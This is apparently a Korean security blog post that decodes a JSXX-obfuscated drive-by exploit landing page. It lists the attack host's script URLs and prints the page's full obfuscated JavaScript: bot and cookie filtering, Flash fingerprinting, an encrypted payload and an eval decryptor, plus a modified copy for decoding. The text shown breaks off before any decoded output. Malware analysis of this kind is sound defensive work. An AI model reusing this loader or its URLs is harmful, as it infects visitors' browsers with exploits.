Malware

JSXX 0.44 VIP

Leave a comment on JSXX 0.44 VIP

최근 경향은 대부분 자바 취약점이네요. 간단하게 한번 디코딩 하여 살펴보았습니다.

http://5b8.co/m
L http://5b8.co/m/index.html
  L http://5b8.co/m/swfobject.js
  L http://5b8.co/m/jpg.js
  L http://5b8.co/m/jvTDIYE7.html
  L http://5b8.co/m/GAHNr0.html

원본 코드는 아래와 같습니다.

<script type="text/javascript" src="swfobject.js"></script>
<script src=jpg.js></script>
<script type="text/javascript">
var YdgJw3=navigator.userAgent.toLowerCase();
var SPRB3="1"+"1"+"1";
if(document.cookie.indexOf("xcDHL4=")==-1 && YdgJw3.indexOf("linux")<=-1 && YdgJw3.indexOf("bot")==-1 && YdgJw3.indexOf("spider")==-1)
{
var pxtXtt1=deconcept.SWFObjectUtil.getPlayerVersion();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
SPRB3="0";
document.cookie="xcDHL4=Yes;path=/;expires="+expires.toGMTString();
FTYdkdd0="1";delete FTYdkdd0;try{FTYdkdd0+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var Huaqmm1="1";XtpkDF6 = eval}aoiGBd6=unescape;QykQ0="CDCE58A6CEDF76F89EC56AB8FEE77FE190E870AADBFF7FE68E9708AAF28671CE89F97BDA8FF97FD6EAEA259AAEB933DEBCB0349EA0AA709DBF8E1159B3CC1D3DBF860977B2880072CD86006393905E2CD79B082CCDD4451BF94DE368D758E9709F60EE5BC261E1454864F7443523F55C6670EE574279FB5B6E77D612287FC95A6A06833B1A2FCA6B785CDF6D7159986E4C55C33E4645CE71455D81704651A234542EA4445667B70D000AD85E5E79F64B6E61BE51616BE3506C678E577451874A70318D256169BC476A0FDB2D3F09CD072B599B7C05528C60510A5B79435F217E4911716E5968720A1B29280F0604044D2E63764F67692B426667695342776A126E6F504648117B2E65405A687A4A4B2030711C707F6E19770B121D3D02023312495272345A7C351B5E3F6956497F22445A65775869347D1B2E3A153E721A164C606B1D4C706D57255C4D5C2A78555E7E46426D24534A446244505D3A066B126A71646F7D1D1825371C3A0B2850632A0E5A66604E20696A12777C661B277275586F787A4232694F4E282C2C7D1A2F43623B01066F7043566D47490A2D16020A241C19183E0F5A6F7257206058093E39130B373C011F776C0C29687B5E61727C4C352A2D0E3D28121C373904277A4D4C637D5F123B2C1D003A11061472591310754659587749437C27000A322D062120041962654859686A527F30231B3321261B2E18104D0613685B7D3D45517D45476437180A60744A5B657A4346224043537153507F784E545B765B15277D433168454324211F360D6B47516F71482F787D54717B251638352735077C4F52757E406E7D464165715311242C090B072B4652260D54577C4D56586E1106712C010D353E13272645566B6E4759713017703B221E3338364E7B35325164777A5B6B651C032214163027050C223B4E41667B4C56741F0C072517060B3D02343463223767735D25654419627A47536E7A4D0229576D494166002B7968532B2C11326A744E58707B0A237A474D3F3B604368794A544D4E41506F41764062075450775E4862213C3565715B65674617766F527C7D7A58286F675A6639345668617B14273B764E7B6D18113C5651773947466578425A6D7E4F1C6F4C5C197B48471563444E107D57582235084C0E4458607D495E6978065D6474552F6E6440607D7C77617E705C257C4F52757E40692E2E227F142D496A6E4E1063470F1C26425C56764853442A100A772A010D22381321614D57616B424537331B763D221E2A316A4E273D7D59657D7F5E77211F0F2511153037030C247C46406C7E494A321E0000201705133457451E3048526E7852257C1C0A323D1408342C0E192B77436F6B75547D2D25053C272C0824322D366A122E277A4D4C637D094D747E43597C4412165D47475E4B6A460E38474B27380A3208795A6F62435D2B6949596C330806627C4A6275534A7F3B555E65763059637C514D311A2B0A704A44607A4D007B7A59737857435F7252415F3C09415779405061735F37260C156B7C504B3D2307487C6702636375536E677D556B397F5760344B536330532F620D4D7A7C05053D102157654F4B556A0B405D66684348644459356E5417207C5B232A004E6A73494870675029646A47627E7B5368796C142222133068724C5A7245087372516B706F5B476A6A59572401425F320B17597B455E52794644657E46306D021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F79531E3D3D13742D010139142D48697E5E5D6F4F5B1A6C4A57413C48474C73435F037258536636526E68465861231D300373274B687E5D66317F54273D325164777A5B6B651E032216163024050C223B4E41667B4C56741D0C072717050A3D0B454238075A6F72572060580B3E39120B343E08192D304B6E617051616B260938212C083D3200406D3F0C277A4D4C637D5F103B2C1E0039130F12280554577C4D56586E1306712F010F32371C0C0C59340F6D49536D6F4E6F6C604D6B7860573A377D555B4F695E5B2A0C546346043B1A2F4D6B754D4F6C314E5D68460C1477485B5E251C0B0D3668526E78523570415468264757667F5B1D301D2666607A54647736476C635D4C7969495E646B4168375B4163764A4D69715D12260347407A5509173D5E404B384F5721795A4B677F572F654D542A61494F2679453623775666333F090A1F7D59657D7F5E216E474A525552727E475F707E010C6A710F1E2E545E4F7F524C536E435046714E526D7D5C2D72021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F68491E3D3D472F7B444463705E4964685A592808143904425C567648531265484F016E454D6B7C4075630A1B677904112B391E792F3B150E1B725D64607753656D305860795B10725156657941696C72454A2078425C6842551F2B2A3F4719215C526B4A1D697A1369634F59676940433B3119083B201A21293210627C765068736406302A170C212F0D4D1F5825086F465E267E5345795B1714330544517C4D584B38435A3673565E7671472F73515C774B4158677A0435625E417474647166667F1E22221330667B0216705953736D1D046D754D4B70504B1A2B4E425F7507031D3D0B071E351E140D16484C0E4458607D495E697806487979586427360C4A5152714A433C5B617A534F787B1967764F5B6B7D1D144759127332151F193E11077D3F180678270079735F0812322E0D3133640D3C3362043A290A3664765A6B2C310037253D16637C775D67691F192111162729195A6569484328714C5F691E495F7148585B7B474F1E6E4E5175790E6123484377781E14287B5F48257240606C7F4460727A1A6A787117667452136670536E705B4D25271B5C676F4A5D2A4F4E596B185156325F5650634806603D46507B7140786F58516C724F5C66634B2E6164093D2D6653757477166578735F326E4B1E65404A7572180A237846406F734C5B75465343614E1204285B584C79421D6E7D5E24394244237E45577269151F2C271839282A0C75726A5564377259607E1D7F5E5B6160634244777C1A0C217E5D5538111E06765D4B403C6E5852725B4D6E795D5E716D123F3A5258776B4B1D676F472430735C60797F4462356C57676C7B072F3A68564264142E7D554D23251501475D67774F770F14391C38306926335B745C580D16484C0E47586D6C455F296D5A5C63795A6432367A6D425D06277D6C5F2F202D3676704A24744706617643493B3F48466F131F053C5D4B406A07705378494D36345253636D46233D2F3362654859686A043268666F7765645B65606E53233B66536E724F5F7C4D50223B0742706F591427305A457B0D535A71445E4E714A5B107B40502F775C332B575874264143622E0104061A4B6E617051613D6B517D56684C7F724249657A0C62774D0A2E3B50437F725E49635B475D764C52577F485850600F127B173B586D705160620C4A607E67497D7C432378664B2B33655B25393855647779566E745B5B71545769350C1109114E41667B4C5622505442515341487D494C4A7D071F626F116D2617033B2A0D000A064C506865416461601E677C7C4D27766C486875447F797648243D44476C7D46482F26263A772C2549032F5654614C1755700D1327755F5B637A4D3D3B130E353A111D2F280A26627C4A62756E0C3A242D063B29373705662F3465405420745D5F7761110E353F5A5B62475E413E49544C7D4C584A775D13756F56334547526D7C0A4F684047486E626F607C71182C28153E60713C106E63554F6B270A297B474D7A564104217058596F01191327050D183F181E311C56364A7E5E5C7773506F720C4E77635258212C160E4F586B404536516B746945627D231D6C715157771B1E41531C693C2F1903382B197721120072210A77095112140E28170D355A07783D640E302F044C6E685C5736371E313F33106D7671536163211F3F2B101B2F23542167424522774641632053596B4E42556149451864485B4973101B6772454B72241A2E71554E2B684A5C6A655E246C7000607E7B1D6C7A68197C7669146A6547192D1D5661654447247548436D224F5C2C55505A6542081A335C5647775A4469665B287C49566C6545546B7A0F0137604D736E79106B727551346475187B7A4C4974220467764C46657546457F7849457B48080A3255524A7344175277405E7D78421F747F5974631F19223D12052E3016316C604F6E3178536A702775445D5B1A797C4E4B761C0627704A446029191F3A2A1D053A0D76597E43444B3A48555F6B5C1A3E20432076415A236645566231494D687845776A3446647F6D5134373B777852715A564F136E7F534F25271B03495F617549751116271E3E326F243D597A5E5E4D104A3208795A6F62435D2B6B545E61675C243030617658475440452D1861697918341028597C4F4261730B496B7F4C132A78425C681101072212050D22057E51764B4C7132502D655344213329316063465B6A7402726A607171676A5D6B62685D25395855707049217A4F5E2035054472695B0A250E5843790B5154734A5C48734C596E795E522D755A73295556722443456C2C037A0018496C7F7253633B69537F586A4E7D74404B67440E22754B0828395E417170584B6559595F684E5455794A56526E0D143B1139266B4E53626C0A486278694B7F6245637A60552D316B5D2B3B3E5B6275475070765D257756596B3B0E170B174C5F64454E502056564C535D434E7F4F4E347F191D606D172D24150D3D280F0604044E2E6E6743667F621C657A7E4F25786E4A6A73467D7B484A643F42456A7F484A21242038712E3B4B1D2D48371E4E554D7D0F46091139482B0A3A09014D5D2F7C504B5364583054335D647977462E4A21053C2A001A373F5438617B5C76287C0B6B74455F780672083316131E3409474462754F342B6A18707B43265B1E04363A161D2F280A3175667677652769207275586F787A1D52211F1E211616296C28200D7F464D7D72485C780D4644795350567A031B0271425A206F412239474F656C7108297F5F59352C702E6679573B31310F041D154B686F74557C7A4B35610B0A667644596B78454424565D5D7A405F563A751500734059257E11486B7A41693B1309352A4E586069423530220E7063750F606D7C525E2A3049787B1C024F7D09657A474F6025750C21240F1E3E130106391C38301D563434114A517379484C0E291D2C052E32716D5A1F68685972752C1038336F5D6773734F2375414A787845347A5106776A425E477A4E5E7E0F5B5B424A445D606A564F7305127B173B366B7815292E414170795C0527674425686A616539315F747C7F163D3E371A313D0F0F3A5D5A28745D5F7761110061714957746C571E374A4653710B0E19310F03203102682D004C0E022D5F686F5D526E7E582F7866597176745A213520516B694151743F5732761E42744D63655F581C1E6255425830196F177B4F455D7B480562330A320817480C0C2B5C6979431D606802696E6A5B706B2E1C6E7B7E53735678122870515776011E273E05142436180728390B12244D50407940544E7B59174B6B4A4F417B562F700E5E6D6C4143486A00185C794265606343255D4C143C392D1F243B1E1C3C2E0D603305082A77465A6F7A4A44655301567C4A444B775B7B5D784A4E217D54116B7051647E6D5F2D2D4D522E270A7F2D3F1F2A386D3F0D1C7E59686C735F61690C49614852657B4B02262740487A7E40572C5043552D6074725A590910705B506C220F1D2B49517169495E392E0104061A257C021E392A3C6539036A113236162A587473413470037A5574617F456C1F0B072B4B516240475D32466F5D41680F7B173B5B6772507563027D464342517B3F114C07764B6F7462572752767B445129010217465B7F44526537617A6B63537E3B24203868465D536442154D7E41580823223764795F24704517405F5E6F323725356F7540647B7110747C6E5D41252735077F4550746B4160586579766961543E26263A6E4443517A4013755B7F600B2D2031247F5D5A767B154D757468604B150604044E2461775A66317043487275717C2F25370579475276554320465C41552B1223027B485E69575416647F5F6346620E051525596570563561006F77784F7F413A13320174496D6A60552578557B425F70523C202D36757A482561460863764E6B44791D0B072B4B516240475D324D765B7F4E74312F0A32087A506D63565C25426B535A5D4F033C29230975735E62617F165D53567F4C2A19331945436C72514F244A635E7C5D6C0A372E3B52754B504E710B7455545D5A4479007A092A536664414F622C7B5E4F43436241260B08197C516572685D2D4D474E7D4E5618231825087D424063694E105C6643754F4101031F2353597A484F253A776B577C63783319340F6E43516C7A4F614B4677677A7256372E173C6F7C725F7B7802766640576D7A141109114D4B647A59572C756643424063082F26335A7D435874791306695847303329316369445A7F750C42757C576944200F041D785D617E54593148540A796F5130222A26627847557E440F5D6D6A5C72466404071B275F2576544B673E7D6A54630D3E072C596C624F3568327E50775E555226213B017D7B566A69471E4272556863171109114D4B647A59572C6C55666A53010119215D5B744A49653C432F6A747042381F360D684D536E64492168417A6E78557B3D2C1132697E4C59657A043842446E4B211C210C695949716240586240504C5548455E774A5E68330A42617F41626E0A5C2C715B3003";RWmFSCq4="function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) {try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}";kMOKHlj1 = XtpkDF6(XtpkDF6);kMOKHlj1(RWmFSCq4);
}
</script>
<script language="javascript" src="http://count34.51yes.com/click.aspx?id=348319018&logo=1" charset="gb2312"></script>

불필요한 부분을 지우고 디코딩을 위해 몇가지 추가하여 확인해봅니다.

<html>
    <form name="TEST">
        <textarea name="TEST" cols="100" rows="100">
        </textarea>
    </form>
</html>

<script type="text/javascript">
var YdgJw3=navigator.userAgent.toLowerCase();
var SPRB3="1"+"1"+"1";
SPRB3="0";
FTYdkdd0="1";delete FTYdkdd0;try{FTYdkdd0+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var Huaqmm1="1";XtpkDF6 = eval}aoiGBd6=unescape;
QykQ0="CDCE58A6CEDF76F89EC56AB8FEE77FE190E870AADBFF7FE68E9708AAF28671CE89F97BDA8FF97FD6EAEA259AAEB933DEBCB0349EA0AA709DBF8E1159B3CC1D3DBF860977B2880072CD86006393905E2CD79B082CCDD4451BF94DE368D758E9709F60EE5BC261E1454864F7443523F55C6670EE574279FB5B6E77D612287FC95A6A06833B1A2FCA6B785CDF6D7159986E4C55C33E4645CE71455D81704651A234542EA4445667B70D000AD85E5E79F64B6E61BE51616BE3506C678E577451874A70318D256169BC476A0FDB2D3F09CD072B599B7C05528C60510A5B79435F217E4911716E5968720A1B29280F0604044D2E63764F67692B426667695342776A126E6F504648117B2E65405A687A4A4B2030711C707F6E19770B121D3D02023312495272345A7C351B5E3F6956497F22445A65775869347D1B2E3A153E721A164C606B1D4C706D57255C4D5C2A78555E7E46426D24534A446244505D3A066B126A71646F7D1D1825371C3A0B2850632A0E5A66604E20696A12777C661B277275586F787A4232694F4E282C2C7D1A2F43623B01066F7043566D47490A2D16020A241C19183E0F5A6F7257206058093E39130B373C011F776C0C29687B5E61727C4C352A2D0E3D28121C373904277A4D4C637D5F123B2C1D003A11061472591310754659587749437C27000A322D062120041962654859686A527F30231B3321261B2E18104D0613685B7D3D45517D45476437180A60744A5B657A4346224043537153507F784E545B765B15277D433168454324211F360D6B47516F71482F787D54717B251638352735077C4F52757E406E7D464165715311242C090B072B4652260D54577C4D56586E1106712C010D353E13272645566B6E4759713017703B221E3338364E7B35325164777A5B6B651C032214163027050C223B4E41667B4C56741F0C072517060B3D02343463223767735D25654419627A47536E7A4D0229576D494166002B7968532B2C11326A744E58707B0A237A474D3F3B604368794A544D4E41506F41764062075450775E4862213C3565715B65674617766F527C7D7A58286F675A6639345668617B14273B764E7B6D18113C5651773947466578425A6D7E4F1C6F4C5C197B48471563444E107D57582235084C0E4458607D495E6978065D6474552F6E6440607D7C77617E705C257C4F52757E40692E2E227F142D496A6E4E1063470F1C26425C56764853442A100A772A010D22381321614D57616B424537331B763D221E2A316A4E273D7D59657D7F5E77211F0F2511153037030C247C46406C7E494A321E0000201705133457451E3048526E7852257C1C0A323D1408342C0E192B77436F6B75547D2D25053C272C0824322D366A122E277A4D4C637D094D747E43597C4412165D47475E4B6A460E38474B27380A3208795A6F62435D2B6949596C330806627C4A6275534A7F3B555E65763059637C514D311A2B0A704A44607A4D007B7A59737857435F7252415F3C09415779405061735F37260C156B7C504B3D2307487C6702636375536E677D556B397F5760344B536330532F620D4D7A7C05053D102157654F4B556A0B405D66684348644459356E5417207C5B232A004E6A73494870675029646A47627E7B5368796C142222133068724C5A7245087372516B706F5B476A6A59572401425F320B17597B455E52794644657E46306D021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F79531E3D3D13742D010139142D48697E5E5D6F4F5B1A6C4A57413C48474C73435F037258536636526E68465861231D300373274B687E5D66317F54273D325164777A5B6B651E032216163024050C223B4E41667B4C56741D0C072717050A3D0B454238075A6F72572060580B3E39120B343E08192D304B6E617051616B260938212C083D3200406D3F0C277A4D4C637D5F103B2C1E0039130F12280554577C4D56586E1306712F010F32371C0C0C59340F6D49536D6F4E6F6C604D6B7860573A377D555B4F695E5B2A0C546346043B1A2F4D6B754D4F6C314E5D68460C1477485B5E251C0B0D3668526E78523570415468264757667F5B1D301D2666607A54647736476C635D4C7969495E646B4168375B4163764A4D69715D12260347407A5509173D5E404B384F5721795A4B677F572F654D542A61494F2679453623775666333F090A1F7D59657D7F5E216E474A525552727E475F707E010C6A710F1E2E545E4F7F524C536E435046714E526D7D5C2D72021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F68491E3D3D472F7B444463705E4964685A592808143904425C567648531265484F016E454D6B7C4075630A1B677904112B391E792F3B150E1B725D64607753656D305860795B10725156657941696C72454A2078425C6842551F2B2A3F4719215C526B4A1D697A1369634F59676940433B3119083B201A21293210627C765068736406302A170C212F0D4D1F5825086F465E267E5345795B1714330544517C4D584B38435A3673565E7671472F73515C774B4158677A0435625E417474647166667F1E22221330667B0216705953736D1D046D754D4B70504B1A2B4E425F7507031D3D0B071E351E140D16484C0E4458607D495E697806487979586427360C4A5152714A433C5B617A534F787B1967764F5B6B7D1D144759127332151F193E11077D3F180678270079735F0812322E0D3133640D3C3362043A290A3664765A6B2C310037253D16637C775D67691F192111162729195A6569484328714C5F691E495F7148585B7B474F1E6E4E5175790E6123484377781E14287B5F48257240606C7F4460727A1A6A787117667452136670536E705B4D25271B5C676F4A5D2A4F4E596B185156325F5650634806603D46507B7140786F58516C724F5C66634B2E6164093D2D6653757477166578735F326E4B1E65404A7572180A237846406F734C5B75465343614E1204285B584C79421D6E7D5E24394244237E45577269151F2C271839282A0C75726A5564377259607E1D7F5E5B6160634244777C1A0C217E5D5538111E06765D4B403C6E5852725B4D6E795D5E716D123F3A5258776B4B1D676F472430735C60797F4462356C57676C7B072F3A68564264142E7D554D23251501475D67774F770F14391C38306926335B745C580D16484C0E47586D6C455F296D5A5C63795A6432367A6D425D06277D6C5F2F202D3676704A24744706617643493B3F48466F131F053C5D4B406A07705378494D36345253636D46233D2F3362654859686A043268666F7765645B65606E53233B66536E724F5F7C4D50223B0742706F591427305A457B0D535A71445E4E714A5B107B40502F775C332B575874264143622E0104061A4B6E617051613D6B517D56684C7F724249657A0C62774D0A2E3B50437F725E49635B475D764C52577F485850600F127B173B586D705160620C4A607E67497D7C432378664B2B33655B25393855647779566E745B5B71545769350C1109114E41667B4C5622505442515341487D494C4A7D071F626F116D2617033B2A0D000A064C506865416461601E677C7C4D27766C486875447F797648243D44476C7D46482F26263A772C2549032F5654614C1755700D1327755F5B637A4D3D3B130E353A111D2F280A26627C4A62756E0C3A242D063B29373705662F3465405420745D5F7761110E353F5A5B62475E413E49544C7D4C584A775D13756F56334547526D7C0A4F684047486E626F607C71182C28153E60713C106E63554F6B270A297B474D7A564104217058596F01191327050D183F181E311C56364A7E5E5C7773506F720C4E77635258212C160E4F586B404536516B746945627D231D6C715157771B1E41531C693C2F1903382B197721120072210A77095112140E28170D355A07783D640E302F044C6E685C5736371E313F33106D7671536163211F3F2B101B2F23542167424522774641632053596B4E42556149451864485B4973101B6772454B72241A2E71554E2B684A5C6A655E246C7000607E7B1D6C7A68197C7669146A6547192D1D5661654447247548436D224F5C2C55505A6542081A335C5647775A4469665B287C49566C6545546B7A0F0137604D736E79106B727551346475187B7A4C4974220467764C46657546457F7849457B48080A3255524A7344175277405E7D78421F747F5974631F19223D12052E3016316C604F6E3178536A702775445D5B1A797C4E4B761C0627704A446029191F3A2A1D053A0D76597E43444B3A48555F6B5C1A3E20432076415A236645566231494D687845776A3446647F6D5134373B777852715A564F136E7F534F25271B03495F617549751116271E3E326F243D597A5E5E4D104A3208795A6F62435D2B6B545E61675C243030617658475440452D1861697918341028597C4F4261730B496B7F4C132A78425C681101072212050D22057E51764B4C7132502D655344213329316063465B6A7402726A607171676A5D6B62685D25395855707049217A4F5E2035054472695B0A250E5843790B5154734A5C48734C596E795E522D755A73295556722443456C2C037A0018496C7F7253633B69537F586A4E7D74404B67440E22754B0828395E417170584B6559595F684E5455794A56526E0D143B1139266B4E53626C0A486278694B7F6245637A60552D316B5D2B3B3E5B6275475070765D257756596B3B0E170B174C5F64454E502056564C535D434E7F4F4E347F191D606D172D24150D3D280F0604044E2E6E6743667F621C657A7E4F25786E4A6A73467D7B484A643F42456A7F484A21242038712E3B4B1D2D48371E4E554D7D0F46091139482B0A3A09014D5D2F7C504B5364583054335D647977462E4A21053C2A001A373F5438617B5C76287C0B6B74455F780672083316131E3409474462754F342B6A18707B43265B1E04363A161D2F280A3175667677652769207275586F787A1D52211F1E211616296C28200D7F464D7D72485C780D4644795350567A031B0271425A206F412239474F656C7108297F5F59352C702E6679573B31310F041D154B686F74557C7A4B35610B0A667644596B78454424565D5D7A405F563A751500734059257E11486B7A41693B1309352A4E586069423530220E7063750F606D7C525E2A3049787B1C024F7D09657A474F6025750C21240F1E3E130106391C38301D563434114A517379484C0E291D2C052E32716D5A1F68685972752C1038336F5D6773734F2375414A787845347A5106776A425E477A4E5E7E0F5B5B424A445D606A564F7305127B173B366B7815292E414170795C0527674425686A616539315F747C7F163D3E371A313D0F0F3A5D5A28745D5F7761110061714957746C571E374A4653710B0E19310F03203102682D004C0E022D5F686F5D526E7E582F7866597176745A213520516B694151743F5732761E42744D63655F581C1E6255425830196F177B4F455D7B480562330A320817480C0C2B5C6979431D606802696E6A5B706B2E1C6E7B7E53735678122870515776011E273E05142436180728390B12244D50407940544E7B59174B6B4A4F417B562F700E5E6D6C4143486A00185C794265606343255D4C143C392D1F243B1E1C3C2E0D603305082A77465A6F7A4A44655301567C4A444B775B7B5D784A4E217D54116B7051647E6D5F2D2D4D522E270A7F2D3F1F2A386D3F0D1C7E59686C735F61690C49614852657B4B02262740487A7E40572C5043552D6074725A590910705B506C220F1D2B49517169495E392E0104061A257C021E392A3C6539036A113236162A587473413470037A5574617F456C1F0B072B4B516240475D32466F5D41680F7B173B5B6772507563027D464342517B3F114C07764B6F7462572752767B445129010217465B7F44526537617A6B63537E3B24203868465D536442154D7E41580823223764795F24704517405F5E6F323725356F7540647B7110747C6E5D41252735077F4550746B4160586579766961543E26263A6E4443517A4013755B7F600B2D2031247F5D5A767B154D757468604B150604044E2461775A66317043487275717C2F25370579475276554320465C41552B1223027B485E69575416647F5F6346620E051525596570563561006F77784F7F413A13320174496D6A60552578557B425F70523C202D36757A482561460863764E6B44791D0B072B4B516240475D324D765B7F4E74312F0A32087A506D63565C25426B535A5D4F033C29230975735E62617F165D53567F4C2A19331945436C72514F244A635E7C5D6C0A372E3B52754B504E710B7455545D5A4479007A092A536664414F622C7B5E4F43436241260B08197C516572685D2D4D474E7D4E5618231825087D424063694E105C6643754F4101031F2353597A484F253A776B577C63783319340F6E43516C7A4F614B4677677A7256372E173C6F7C725F7B7802766640576D7A141109114D4B647A59572C756643424063082F26335A7D435874791306695847303329316369445A7F750C42757C576944200F041D785D617E54593148540A796F5130222A26627847557E440F5D6D6A5C72466404071B275F2576544B673E7D6A54630D3E072C596C624F3568327E50775E555226213B017D7B566A69471E4272556863171109114D4B647A59572C6C55666A53010119215D5B744A49653C432F6A747042381F360D684D536E64492168417A6E78557B3D2C1132697E4C59657A043842446E4B211C210C695949716240586240504C5548455E774A5E68330A42617F41626E0A5C2C715B3003";
RWmFSCq4="function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) {try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}";

eval("function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}TEST.TEST.value = MIVW7;try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) 